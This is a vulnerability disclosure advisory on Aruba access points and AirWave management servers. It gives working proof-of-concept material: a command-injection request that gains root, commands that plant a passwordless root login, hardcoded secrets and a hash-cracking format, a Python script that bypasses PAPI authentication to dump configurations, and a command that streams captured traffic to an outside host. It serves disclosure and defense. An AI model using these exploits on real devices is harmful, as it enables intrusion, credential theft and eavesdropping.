Aruba ArubaOS/Aruba Instant/AirWave Management - Multiple Vulnerabilities
-------------------------------------------------------------------------

Introduction
============
Multiple vulnerabilities were identified in Aruba AP, IAP and AMP devices. The
Vulnerabilities were discovered during a black box security assessment and
therefore the vulnerability list should not be considered exhaustive. Several
of the high severity vulnerabilities listed in this report are related to the
Aruba proprietary PAPI protocol and allow remote compromise of affected devices.


Affected Software And Versions
==============================
  - ArubaOS (all versions)
  - AirWave Management Platform 8.x prior to 8.2
  - Aruba Instant (all versions up to, but not including, 4.1.3.0 and 4.2.3.1)


CVE
===
The following CVE were assigned to the issues described in this report:

  - CVE-2016-2031
  - CVE-2016-2032


Vulnerability Overview
======================
 1. AMP: RabbitMQ Management interface exposed
 2. AMP: XSRF token uses weak calculation algorithm
 3. AMP: Arbitrary modification of /etc/ntp.conf
 4. AMP: PAPI uses static key for calculating validation checksum (auth bypass)
 5. (I)AP: Insecure transmission of login credentials (GET)
 6. (I)AP: Built in privileged "support" account
 7. (I)AP: Static password hash for support account
 8. (I)AP: Unusual account identified ("arubasecretadmin")
 9. (I)AP: Privileged remote code execution
10. (I)AP: Radius passwords allow arbitrary raddb commands
11. (I)AP: Unauthenticated disclosure of environment variables
12. (I)AP: Information disclosure by firmware checking functionality
13. (I)AP: Unauthenticated automated firmware update requests
14. (I)AP: Firmware updater does not check certificates
15. (I)AP: Forceful downgrade of FW versions possible
16. (I)AP: Firmware update check discloses machine certificate
17. (I)AP: Firmware is downloaded via unencrypted connection
18. (I)AP: Firmware update Challenge/Response does not protect the Client
19. (I)AP: Unencrypted private keys and certs
20. (I)AP: Potential signature private key
21. (I)AP: PAPI Endpoints exposed to all interfaces
22. (I)AP: PAPI Endpoint does not validate MD5 signatures
23. (I)AP: PAPI protocol encrypted with weak encryption algorithm
24. (I)AP: PAPI protocol authentication bypass
25. (I)AP: Broadcast with detailed system information (LLDP)
26. (I)AP: User passwords are encrypted with a static key


Vulnerability Details
=====================

---------------------------------------------
1. AMP: RabbitMQ Management interface exposed
---------------------------------------------

AMPs expose the management frontend for the RabbitMQ message queue on all
interfaces via tcp/15672 and tcp/55672.

  # netstat -nltp | grep beam
  tcp        0      0 127.0.0.1:5672              0.0.0.0:*
       LISTEN      2830/beam.smp
  tcp        0      0 127.0.0.1:17716             0.0.0.0:*
       LISTEN      2830/beam.smp
  tcp        0      0 0.0.0.0:15672               0.0.0.0:*
       LISTEN      2830/beam.smp
  tcp        0      0 0.0.0.0:55672               0.0.0.0:*
       LISTEN      2830/beam.smp

The password for the default user "airwave" is stored in the world readable
file /etc/rabbitmq/rabbitmq.config in plaintext:

  # ls -l /etc/rabbitmq/rabbitmq.config
  -rw-r--r-- 1 root root 275 Oct 28 15:48 /etc/rabbitmq/rabbitmq.config
  # grep default_ /etc/rabbitmq/rabbitmq.config
          {default_user,<<"airwave">>},
          {default_pass,<<"***REMOVED***">>}

--------------------------------------------------
2. AMP: XSRF token uses weak calculation algorithm
--------------------------------------------------

The XSRF token is calculated based on limited sources of entropy, consisting of
the user's time of login and a random number between 0 and 99999. The algorithm
Is approximated by the following example Python script:

  base64.b64encode(hashlib.md5('%d%5.5d' % (int(time.time()),
random.randint(0,99999))).digest())


-----------------------------------------------
3. AMP: Arbitrary modification of /etc/ntp.conf
-----------------------------------------------

Incorrect/missing filtering of input parameters allows injecting new lines and
arbitrary commands into /etc/ntp.conf, when updating the NTP settings via the
web frontend.

  POST /nf/pref_network? HTTP/1.1
  Host: 192.168.131.162
  [...]

  id=&ip_1=192.168.131.162&hostname_1=foo.example.com&
  subnet_mask_1=255.255.255.248&gateway_1=192.168.131.161&dns1_1=172.16.255.1&
  dns2_1=&eth1_enabled_1=0&eth1_ip_1=&eth1_netmask_1=&
  ntp1_1=time1.example.com%0afoo&ntp2_1=time2.example.com&save=Save

The above POST requests results in the following ntp.conf being generated:

  # cat /etc/ntp.conf
  [...]
  server time1.example.com
  foo
  server time2.example.com

------------------------------------------------------------------------------
4. AMP: PAPI uses static key for calculating validation checksum (auth bypass)
------------------------------------------------------------------------------

PAPI packets sent from an AP to an AMP are authenticated with a cryptographic
checksum. The packet format is only partially known, as it's a proprietary
format created by Aruba. A typical PAPI packet sent to an AMP is as follows:


  0000   49 72 00 02 64 69 86 2d 7f 00 00 01 01 00 01 00  Ir..di.-........
  0010   20 1f 20 1e 00 01 00 00 00 01 3e f9 22 49 05 b3   . .......>."I..
  0020   50 89 40 d3 5d 9d d6 af 46 98 c1 a6              P.@.]...F...


The following dissection of the above shown packet gives a more detailed
overview of the format:

  49 72                                                 ID
  00 02                                                 Version
  64 69 86 2d                                           PAPI Destination IP
  7f 00 00 01                                           PAPI Source IP
  01 00                                                 Unknown1
  01 00                                                 Unknown2
  20 1f                                                 PAPI Source Port
  20 1e                                                 PAPI Destination Port
  00 01                                                 Unknown3
  00 00                                                 Unknown4
  00 01                                                 Sequence Number
  3e f9                                                 Unknown5
  22 49 05 b3 50 89 40 d3 5d 9d d6 af 46 98 c1 a6       Checksum


The checksum is based on a MD5 hash of a padded concatenation of all fields and
a secret token. The secret token is hardcoded in multiple binaries on the AMP
and can easily be retrieved via core Linux system tools:

  $ strings /opt/airwave/bin/msgHandler | grep asd
  asdf;lkj763

Using this secret token it is possible to craft valid PAPI packets and issue
commands to the AMP, bypassing the authentication based on the shared
secret / token. This can be exploited to compromise of the device.
Random sampling of different software versions available on
Aruba's website confirmed that the shared secret is identical for all versions.

-------------------------------------------------------
5. AP: Insecure transmission of login credentials (GET)
-------------------------------------------------------

Username and password to authenticate with the AP web frontend are transmitted
through HTTP GET. This method should not be used in a form that transmits
sensitive data, because the data is displayed in clear text in the URL.

  GET /swarm.cgi?opcode=login&user=admin&passwd=admin HTTP/1.1

The login URL can potentially appear in Proxy logs, the server logs or
browser history. This possibly discloses the authentication data to
unauthorized persons.

--------------------------------------------
6. AP: Built in privileged "support" account
--------------------------------------------

The APs provide a built in system account called "support". When connected to
the restricted shell of the AP via SSH, issuing the command "support", triggers
a password request:


  00:0b:86:XX:XX:XX# support
  Password:

A quick internet search clarified, that this password is meant for use by Aruba
engineers only:
http://community.arubanetworks.com/t5/Unified-Wired-Wireless-Access/OS5-0-support-password/td-p/26760

Further research on that functionality lead to the conclusion that this
functionality provides root-privileged shell access to the underlying operating
system of the AP, given the correct password is entered.

-----------------------------------------------
7. AP: Static password hash for support account
-----------------------------------------------

The password hash for the "support" account mentioned in vulnerability #6 is
stored in plaintext on the AP.

  $ strings /aruba/bin/cli | grep ^bc5
  bc54907601c92efc0875233e121fd3f1cebb8b95e2e3c44c14

Random sampling of different versions of Firmware images available on Aruba's
website confirmed that the password hash is identical for all versions. The
password check validating a given "support" password is based on the following
algorithm:

  SALT + sha1(SALT + PASSWORD)

Where SALT equals the first 5 bytes of the password hash in binary
representation. It is possible to run a brute-force attack on this hash format
using JtR with the following input format:

  support:$dynamic_25$c92efc0875233e121fd3f1cebb8b95e2e3c44c14$HEX$bc54907601

------------------------------------------------------
8. AP: Unusual account identified ("arubasecretadmin")
------------------------------------------------------

The AP's system user configuration contains a undocumented account called
"arubasecretadmin". This account was the root cause for CVE-2007-0932 and
allowed administrative login with a static password.

  /etc/passwd:
  nobody:x:99:99:Nobody:/:/sbin/nologin
  root:x:0:0:Root:/:/bin/sh
  admin:x:100:100:Admin:/:/bin/telnet3
  arubasecretadmin:x:101:100:Aruba Admin:/:/bin/telnet2
  serial:x:102:100:Serial:/:/bin/telnet4

Further tests indicated that login with this account seems not possible as it
is not mapped through Arubas authentication mechanisms. The reason for it being
still configured on the system is unknown.

---------------------------------------
9. AP: Privileged remote code execution
---------------------------------------

Insufficient checking of parameters allows an attacker to execute commands
with root privileges on the AP. The vulnerable parameter is "image_url" which
is used in the Firmware update function.

  GET /swarm.cgi?opcode=image-url-upgrade&ip=127.0.0.1&oper_id=6&image_url=Aries@http://10.0.0.1/?"`/usr/sbin/mini_httpd+-d+/+-u+root+-p+1234+-C+/etc/mini_httpd.conf`"&auto_reboot=false&refresh=true&sid=OWsiU5MM7DxVf9FRWe3P&nocache=0.9368100591919084
HTTP/1.1

The above example starts a new instance of mini_httpd on tcp/1234, which allows
browsing the AP's filesystem. The following list of commands, if executed in
order, start a telnet service that allows passwordless root login.

  killall -9 utelnetd
  touch /tmp/telnet_enable
  echo \#\!/bin/sh > /bin/login
  echo /bin/sh >> /bin/login
  chmod +x /bin/login
  /sbin/utelnetd

Connecting to the telnet service started by the above command chain:

  # telnet 10.0.XX.XX
  Trying 10.0.XX.XX...
  Connected to 10.0.XX.XX.
  Escape character is '^]'.
  Switching to Full Access
  /aruba/bin # echo $USER
  root
  /aruba/bin #

Potential exploits of this vulnerability can be detected through the
AP's log file:
  [...]
  Jan  1 02:43:47  cli[2052]: <341004> <WARN> |AP
00:0b:86:XX:XX:XX2@10.0.XX.XX cli|
http://10.0.XX.XX/?"`/sbin/utelnetd`"
  [...]

-------------------------------------------------------
10. AP: Radius passwords allow arbitrary raddb commands
-------------------------------------------------------

Insufficient checking of the GET parameter "cmd" allows the injection of
arbitrary commands and configuration parameters in the raddb configuration.

Example:
  GET /swarm.cgi?opcode=config&ip=127.0.0.1&cmd=%27user%20foo%20foo%22,my-setting%3d%3d%22blah%20portal%0Ainbound-firewall%0Ano%20rule%0Aexit%0A%27&refresh=false&sid=Lppj9jT2xQmYKqjEx5eP&nocache=0.10862623626107548
HTTP/1.1

  /aruba/radius/raddb/users:
  foo Filter-Id == MAC-GUEST, Cleartext-Password := "foo",my-setting=="blah"


As shown in the above example, inserting a double-quote in the password allows
to add additional commands after the password.

-----------------------------------------------------------
11. AP: Unauthenticated disclosure of environment variables
-----------------------------------------------------------

It is possible to request a listing of environment variables by requesting a
specific URL on the AP's web server. The request does not require
authentication.

  GET /swarm.cgi?opcode=printenv HTTP/1.1

  HTTP/1.0 200 OK
  Content-Type:text/plain; charset=utf-8
  Pragma: no-cache
  Cache-Control: max-age=0, no-store

  Environment variables

  CHILD_INDEX=0
  PATH=/usr/local/bin:/usr/ucb:/bin:/usr/bin
  LD_LIBRARY_PATH=/usr/local/lib:/usr/lib
  SERVER_SOFTWARE=
  SERVER_NAME=10.0.XX.XX
  GATEWAY_INTERFACE=CGI/1.1
  SERVER_PROTOCOL=HTTP/1.0
  SERVER_PORT=4343
  REQUEST_METHOD=GET
  SCRIPT_NAME=/swarm.cgi
  QUERY_STRING=opcode=printenv
  REMOTE_ADDR=10.0.XX.XX
  REMOTE_PORT=58804
  HTTP_REFERER=https://10.0.XX.XX:4343/
  HTTP_USER_AGENT=Mozilla/5.0 (X11; Linux x86_64; rv:38.0)
Gecko/20100101 Firefox/38.0 Iceweasel/38.3.0
  HTTP_HOST=10.0.XX.XX:4343

-----------------------------------------------------------------
12. AP: Information disclosure by firmware checking functionality
-----------------------------------------------------------------

When the AP checks device.arubanetworks.com for a new firmware version, it
sends detailed information of the AP in plaintext to the remote host.

  POST /firmware HTTP/1.1
  Host: device.arubanetworks.com
  Content-Length: 2
  Connection: keep-alive
  X-Type: firmware-check
  X-Guid: 2dbe42XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
  X-OEM-Tag: Aruba
  X-Mode: IAP
  X-Factory-Default: Yes
  X-Current-Version: 6.4.2.6-4.1.1.10_51810
  X-Organization: ***REMOVED (Company Internal Name)***
  X-Ap-Info: CC00XXXXX, 00:0b:86:XX:XX:XX, RAP-155
  X-Features: 0000100001001000000000000000000000000000000000010000000

----------------------------------------------------------
13. AP: Unauthenticated automated firmware update requests
----------------------------------------------------------

The web frontend of the AP provides functionality to initiate an automated
firmware update. Doing so triggers the AP to initiate communication with
device.arubanetworks.com and automatically download and install a new firmware
image. The CGI opcode for that automatic update is "image-server-check" and it
was discovered that the "sid" parameter is not checked for this opcode. Therefor
an attacker can issue the automatic firmware update without authentication by
sending the following GET request to the AP.

  GET /swarm.cgi?opcode=image-server-check&ip=127.0.0.1&sid=x

As shown above, the "sid" parameter has to be submitted as part of the URL, but
can be set to anything. Although all opcode actions follow the same calling
scheme, "image-server-check" was the only opcode where the session ID was not
validated.

Combined with other vulnerabilities (#14, #15), this could be exploited to
install an outdated, vulnerable firmware on the AP.

----------------------------------------------------
14. AP: Firmware updater does not check certificates
----------------------------------------------------

The communication between AP and device.arubanetworks.com is secured by using
SSL. The AP does not do proper certificate validation for the communication to
device.arubanetworks.com. A typical SSL MiTM attack using DNS spoofing and a
self-signed certificate allowed interception of the traffic between AP and
device.arubanetworks.com.

--------------------------------------------------
15. AP: Forceful downgrade of FW versions possible
--------------------------------------------------

When checking device.arubanetworks.com for a new firmware image, the AP sends
it's current version to the remote host. If there is no new firmware available,
device.arubanetworks.com does not provide any download options. If the initial
version sent from the AP is modified by an attacker (via MiTM), the remote
server will reply with the current firmware version. The AP will then reject
that firmware, as it's current version is more recent/the same. Downgrading the
version does also not work based on the validation the AP does.
This behaviour can be overwritten if an attacker intercepts and modifies the
reply from device.arubanetworks.com and adds X-header called
"X-Mandatory-Upgrade".

Example of a spoofed reply from device.arubanetworks.com:

  HTTP/1.0 200 OK
  Date: Wed, 11 Nov 2015 12:12:20 GMT
  Content-Length: 91
  Content-Type: text/plain; charset=UTF-8
  X-Activation-Key: FXXXXXXX
  X-Session-Id: 05d607dd-958b-42c4-a355-bd54e1a32e8e
  X-Status-Code: success
  X-Type: firmware-check
  X-Mandatory-Upgrade: true
  Connection: close


  6.4.2.6-4.1.1.10_51810
  23 http://10.0.0.1:4321/ArubaInstant_Aries_6.4.2.6-4.1.1.10_51810


As shown above, the Header "X-Mandatory-Upgrade" was added to the server's
reply. This causes the AP to skip its validation checks and accept any firmware
version provided, regardless if it is the same or older than the current one.

-----------------------------------------------------------
16. AP: Firmware update check discloses machine certificate
-----------------------------------------------------------

While observing the traffic between an AP and device.arubanetworks.com, it was
discovered that the AP discloses it's machine certificate to the remote
endpoint.

  POST /firmware HTTP/1.1
  Host: 10.0.XX.XX
  Content-Length: 2504
  Connection: close
  X-Type: firmware-check
  X-Guid: 2dbe42XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
  X-OEM-Tag: Aruba
  X-Mode: IAP
  X-Factory-Default: Yes
  X-Session-Id: e0b24fb1-e2f7-4e06-9473-1266b50a3fec
  X-Current-Version: 6.4.2.6-4.1.1.10_51810
  X-Organization: ***REMOVED (Company Internal Name)***
  X-Ap-Info: CC00XXXXX, 00:0b:86:XX:XX:XX, RAP-155
  X-Features: 0000100001001000000000000000000000000000000000010000000
  X-Challenge-Hash: SHA-1


  -----BEGIN CERTIFICATE-----
  MIIGTjCCBTagAwI...
  [...]
  -----END CERTIFICATE-----


The certificate sent in the above request is the same (in PEM format) as found
under the following path on the AP:

  /tmp/deviceCerts/certifiedKeyCert.der

Comparison of the certificate from the HTTP Request and from the AP filesystem:

  $ sha256sum dumped-fw-cert.txt certifiedKeyCert.der.pem
  68ebb521dff53d8dcb8e4a0467dcae38cf45a0d812897393632bdd9ef6f354e8
dumped-fw-cert.txt
  68ebb521dff53d8dcb8e4a0467dcae38cf45a0d812897393632bdd9ef6f354e8
certifiedKeyCert.der.pem

---------------------------------------------------------
17. AP: Firmware is downloaded via unencrypted connection
---------------------------------------------------------

Firmware images are downloaded via unencrypted HTTP to the AP. An example reply
containing the download paths looks as follows:

  HTTP/1.1 200 OK
  Date: Wed, 11 Nov 2015 13:18:58 GMT
  Content-Length: 552
  Content-Type: text/plain; charset=UTF-8
  X-Activation-Key: FXXXXXXX
  X-Session-Id: 05d607dd-958b-42c4-a355-bd54e1a32e8e
  X-Status-Code: success
  X-Type: firmware-check
  Connection: close


  6.4.2.6-4.1.1.10_51810
  25 http://images.arubanetworks.com/fwfiles/ArubaInstant_Centaurus_6.4.2.6-4.1.1.10_51810
  30 http://images.arubanetworks.com/fwfiles/ArubaInstant_Taurus_6.4.2.6-4.1.1.10_51810
  15 http://images.arubanetworks.com/fwfiles/ArubaInstant_Cassiopeia_6.4.2.6-4.1.1.10_51810
  10 http://images.arubanetworks.com/fwfiles/ArubaInstant_Orion_6.4.2.6-4.1.1.10_51810
  23 http://images.arubanetworks.com/fwfiles/ArubaInstant_Aries_6.4.2.6-4.1.1.10_51810
  26 http://images.arubanetworks.com/fwfiles/ArubaInstant_Pegasus_6.4.2.6-4.1.1.10_51810

An attacker could potentially MiTM connections to images.arubanetworks.com and
possibly replace the firmware images downloaded by the AP.

----------------------------------------------------------------------
18. AP: Firmware update Challenge/Response does not protect the Client
----------------------------------------------------------------------

The update check process between AP and device.arubanetworks.com works
as follows:

  AP => device.arubanetworks.com
  POST /firmware
  X-Type: firmware-check

  AP <= device.arubanetworks.com
        200 OK
        X-Session-Id: bd4...
        X-Challenge: 123123...

  AP => device.arubanetworks.com
  POST /firmware
  X-Session-Id: bd4...

  [machine certificate]
  [signature]

  AP <= device.arubanetworks.com
        200 OK
        X-Session-Id: bd4...

        [firmware image urls]

When inspecting the communication process carefully, it is clear that the final
response from device.arubanetworks.com does not contain any (cryptographic)
signature. An attacker could impersonate device.arubanetworks.com, send an
arbitrary challenge, ignore the response and just reply with a list of firmware
images. The only thing that has to be kept the same over requests is the
X-Session-Id header, which is also sent initially by the remote host and not
the AP and therefore under full control of the attacker.

------------------------------------------
19. AP: Unencrypted private keys and certs
------------------------------------------

The AP firmware image contains the unencrypted private key and certificate for
securelogin.arubanetworks.com issued by GeoTrust and valid until 2017. The key
and cert was found under the path /aruba/conf/cpprivkey.pem.

  $ openssl x509 -in cpprivkey.pem -text -noout
  Certificate:
      Data:
          Version: 3 (0x2)
          Serial Number: 121426 (0x1da52)
      Signature Algorithm: sha1WithRSAEncryption
          Issuer: C=US, O=GeoTrust Inc., OU=Domain Validated SSL,
CN=GeoTrust DV SSL CA
          Validity
              Not Before: May 11 01:22:10 2011 GMT
              Not After : Aug 11 04:40:59 2017 GMT
          Subject: serialNumber=lLUge2fRPkWcJe7boLSVdsKOFK8wv3MF,
C=US, O=securelogin.arubanetworks.com, OU=GT28470348, OU=See
www.geotrust.com/resources/cps (c)11, OU=Domain Control Validated -
QuickSSL(R) Premium, CN=securelogin.arubanetworks.com
  [...]

  $ openssl rsa -in cpprivkey.pem -check
  RSA key ok
  writing RSA key
  -----BEGIN RSA PRIVATE KEY-----
  MIIEpQIBAAKCAQEA….
  [...]
  -----END RSA PRIVATE KEY-----

---------------------------------------
20. AP: Potential signature private key
---------------------------------------

A potential SSL key was found under the path /etc/sig.key. Based on the header
(3082xxxx[02,03]82), the file looks like a SSL key in DER format:

$ xxd etc/sig.key
00000000: 3082 020a 0282 0201 00d9 2d71 db0f decb  0.........-q....

It was not possible to decode the key. Therefore it's not 100% clear if is an
actual key or just a garbaged file.

------------------------------------------------
21. AP: PAPI Endpoints exposed to all interfaces
------------------------------------------------

The PAPI endpoint "msgHandler" creates listeners on all interfaces. Therefore
it is reachable via wired and wireless connections to the AP. This increases
the potential attack surface.

  # netstat -nlu | grep :82
  udp        0      0 :::8209                 :::*
  udp        0      0 :::8211                 :::*

Additionally the local ACL table of the AP contains a default firewall rule,
permitting any traffic to udp/8209-8211, overwriting any manually set ACL to
block access to PAPI:

  00:0b:86:XX:XX:XX# show datapath acl 106
  Datapath ACL 106 Entries
  -----------------------
  Flags: P - permit, L - log, E - established, M/e - MAC/etype filter
        S - SNAT, D - DNAT, R - redirect, r - reverse redirect m - Mirror
        I - Invert SA, i - Invert DA, H - high prio, O - set prio, C -
Classify Media
        A - Disable Scanning, B - black list, T - set TOS, 4 - IPv4, 6 - IPv6
        K - App Throttle, d - Domain DA
  ----------------------------------------------------------------
   1:  any  any  17 0-65535 8209-8211  P4
  [...]
  12:  any  any  any  P4
  00:0b:86:XX:XX:XX#

------------------------------------------------------
22. AP: PAPI Endpoint does not validate MD5 signatures
------------------------------------------------------

MD5 signature validation for incoming PAPI packets is disabled on the AP:

  # ps | grep msgHandler
   1988 root        508 S < /aruba/bin/msgHandler -n

  # /aruba/bin/msgHandler -h
  usage: msgHandler [-d] [-n]
  -d = enable debug prints.
  -n = disable md5 signatures.
  -g = disable garbling.

The watchdog service ("nanny") also restarts the PAPI handler with disabled MD5
signature validation:

  # grep msgH /aruba/bin/nanny_list
  RESTART /aruba/bin/msgHandler -n

--------------------------------------------------------------
23. AP: PAPI protocol encrypted with weak encryption algorithm
--------------------------------------------------------------

PAPI packets sent to an AP contain an encrypted payload. The encryption seems
to replace the MD5 signature check as described in #4 and used when PAPI is
sent from AP to AMP. This might also explain why the PAPI endpoint runs with
disabled MD5 signature verification on the AP (see #22).

The following example shows an encrypted PAPI packet for the command
"show version" as received by the AP:

  0000  49 72 00 03 7f 00 00 01 0a 00 00 01 00 00 20 13   Ir............ .
  0010  3b 60 3b 7e 20 04 00 00 00 03 00 00 00 00 00 00   ;`;~ ...........
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
  0030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
  0040  00 00 00 00 00 00 00 00 00 00 00 00 97 93 93 93   ................
  0050  a9 97 93 93 92 6e 96 99 93 93 92 95 94 91 93 97   .....n..........
  0060  93 93 93 93 93 93 87 e9 eb e1 fc d0 dc c6 e4 fd   ................
  0070  fa e1 f7 e9 d1 a6 f7 e7 c5 eb f1 93 93 9e e0 fb   ................
  0080  fc e4 b3 e5 f6 e1 e0 fa fc fd 99                  ...........

Important parts of the above packet:

  7f 00 00 01         Destination IP (127.0.0.1)
  0a 00 00 01         Source IP (10.0.0.1)
  3b 60               Destination Port (15200)
  3b 7e               Source Port (15230)
  97 93 93 93-EOF     Encrypted PAPI payload

Comparison of the above packet with a typical PAPI packet that is sent from the
AP to the AMP quickly highlights the missing 0x00 that are used to pad certain
fields of the PAPI payload. These 0x00 seem to be substituted with 0x93, which
is a clear indication that the payload is "encrypted" with a 1 byte XOR. As
XOR'ing 0x00 with 1 byte results in the same byte, the payload therefore
discloses the key used and use of the weak XOR algorithm:

    0x00: 00000000
  ^ 0x93: 10010011
  ================
          10010011 (0x93)

The following shows the above PAPI packet for "show version" with its payload
decrypted:

  0000  49 72 00 03 7f 00 00 01 0a 00 00 01 00 00 20 13   Ir............ .
  0010  3b 60 3b 7e 20 04 00 00 00 03 00 00 00 00 00 00   ;`;~ ...........
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
  0030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
  0040  00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00   ................
  0050  3a 04 00 00 01 fd 05 0a 00 00 01 06 07 02 00 04   :...............
  0060  00 00 00 00 00 00 14 7a 78 72 6f 43 4f 55 77 6e   .......zxroCOUwn
  0070  69 72 64 7a 42 35 64 74 56 78 62 00 00 0d 73 68   irdzB5dtVxb...sh
  0080  6f 77 20 76 65 72 73 69 6f 6e 0a                  ow version.

(The string starting with "zxr..." is a HTTP session ID, see #25 on details how
to bypass this).

An example Python function for en-/decrypting PAPI payloads could look like
this:

  def aruba_encrypt(s):
    return ''.join([chr(ord(c) ^ 0x93) for c in s])

-------------------------------------------
24. AP: PAPI protocol authentication bypass
-------------------------------------------

Besides it's typical use between different Aruba devices, PAPI is also used as
an inter-process communication (IPC) mechanism between the CGI based web
frontend and the backend processes on the AP. Certain commands that can be sent
via PAPI are only supposed to be used via this IPC interface and not from an
external source. Besides the weak "encryption" that is described in #23, some
PAPI packets contain a HTTP session ID (SID), that matches the SID issued at
login to the web frontend.

Example IPC packet (payload decrypted as shown in #23):

  0000  49 72 00 03 7f 00 00 01 0a 00 00 01 00 00 20 13   Ir............ .
  0010  3b 60 3b 7e 20 04 00 00 00 03 00 00 00 00 00 00   ;`;~ ...........
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
  0030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
  0040  00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00   ................
  0050  40 04 00 00 01 fd 05 0a 00 00 01 06 07 02 00 04   @...............
  0060  00 00 00 00 00 00 14 7a 78 72 6f 43 4f 55 77 6e   .......zxroCOUwn
  0070  69 72 64 7a 42 35 64 74 56 78 62 00 00 13 73 68   irdzB5dtVxb...sh
  0080  6f 77 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e   ow configuration
  0090  0a                                                .

The SID in the example shown is "zxroCOUwnirdzB5dtVxb". The 0x14 before that
indicates the length of the 20 byte SID. If the session is expired or an
invalid session is specified, the packet is rejected by the PAPI endpoint
(msgHandler).

Replacing the 20 byte SID with 20 * 0x00, bypasses the SID check and therefore
allows unauthenticated PAPI communication with the AP.

Example IPC packet (Session ID replaced with 20 * 0x00, payload not XOR'ed for
readability):

  0000  49 72 00 03 7f 00 00 01 0a 00 00 01 00 00 20 13   Ir............ .
  0010  3b 60 3b 7e 20 04 00 00 00 03 00 00 00 00 00 00   ;`;~ ...........
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
  0030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
  0040  00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00   ................
  0050  40 04 00 00 01 fd 05 0a 00 00 01 06 07 02 00 04   @...............
  0060  00 00 00 00 00 00 14 00 00 00 00 00 00 00 00 00   ................
  0070  00 00 00 00 00 00 00 00 00 00 00 00 00 13 73 68   ..............sh
  0080  6f 77 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e   ow configuration
  0090  0a

Using the above example, it is possible to request the system configuration
from an AP, bypassing all authentication methods.

If the above packet is sent using IPC from the webfrontend cgi to the backend,
(localhost) the reply looks like follows:

msg_ref 303 /tmp/.cli_msg_SW9iVE

The cgi binary then reads this file and renders the content in the HTTP reply.
If the PAPI packet comes from an external address (instead of localhost) the
reply points to the APs web server (10.0.0.26 in this case) instead of /tmp/:

msg_ref 2689 http://10.0.0.26/.cli_msg_n011xh

Access to this file does not require authentication which raises the severity
of this vulnerability significantly.

The following Python script is a proof of concept for this vulnerability,
sending a "show configuration" packet to an AP with the IP address 10.0.0.26:

  import socket
  def aruba_encrypt(s):
    return ''.join([chr(ord(c) ^ 0x93) for c in s])
  header = (
    '\x49\x72\x00\x03\x7f\x00\x00\x01\x0a\x00\x00\x01\x00\x00\x20\x13'
    '\x3b\x60\x3b\x7e\x20\x04\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
  )
  payload = (  # show configuration
    '\x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06'
    '\x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    '\x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61'
    '\x74\x69\x6f\x6e\x0a'
  )
  sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  sock.bind(('', 1337))
  sock.sendto(header + aruba_encrypt(payload), ('10.0.0.26', 8211))
  buff = sock.recvfrom(4096)
  print aruba_encrypt(buff[0])

Executing the above PoC:

  # python arupapi.py
  [...]msg_ref 2689 http://10.0.0.26/.cli_msg_n011xh

Downloading the file referenced by the reply returns the full AP configuration,
including all users, passwords and settings (no auth is required on the HTTP
request either):

  # curl -Lk http://10.0.0.26/.cli_msg_n011xh
  version 6.4.2.0-4.1.1
  virtual-controller-country XX
  virtual-controller-key b49ff***REMOVED***
  name instant-XX:XX:XX
  terminal-access
  clock timezone none 00 00
  rf-band all
  [...]
  mgmt-user admin f9ac59cd431e174fb07539a8a811a1aa
  [...]
  (full configuration file continues)

For APs running in "managed mode", the above shown exploit does not work. The
reason for that is, that these APs don't provide a web server and have only a
limited set of commands that can be executed via PAPI.

Additionally, APs in managed mode do not seem to use the XOR based "encryption"
or MD5 checksums - there was no authentication/encryption found at all.

One interesting payload for APs in "managed mode" using the limited subset of
available commands is the ability to capture traffic and send it to a remote
endpoint via UDP. The example command on the controller would be:

  (aruba_7030_1) #ap packet-capture raw-start ip-addr 192.168.0.1
100.105.134.45 1337 0 radio 0

This command would send all traffic of AP 192.168.0.1 from the first radio
interface in PCAP format to 100.105.134.45:1337. Wrapped in PAPI, the Packet
would look like this:

  0000  49 72 00 03 c0 a8 00 01 7f 00 00 01 00 00 00 00   Ir..............
  0010  20 21 20 1c 20 04 01 48 14 08 36 b1 00 00 00 00    ! . ..H..6.....
  0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
  0030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
  0040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 65   ...............e
  0050  78 65 63 75 74 65 43 6f 6d 6d 61 6e 64 4f 62 6a   xecuteCommandObj
  0060  65 63 74 02 06 02 04 03 00 08 03 00 08 00 00 04   ect.............
  0070  38 32 32 35 02 06 02 04 00 00 00 03 00 00 02 00   8225............
  0080  02 01 04 00 00 00 08 00 00 02 41 50 00 00 02 41   ..........AP...A
  0090  50 00 00 0e 50 41 43 4b 45 54 2d 43 41 50 54 55   P...PACKET-CAPTU
  00a0  52 45 00 00 0e 50 41 43 4b 45 54 2d 43 41 50 54   RE...PACKET-CAPT
  00b0  55 52 45 00 00 09 52 41 57 2d 53 54 41 52 54 00   URE...RAW-START.
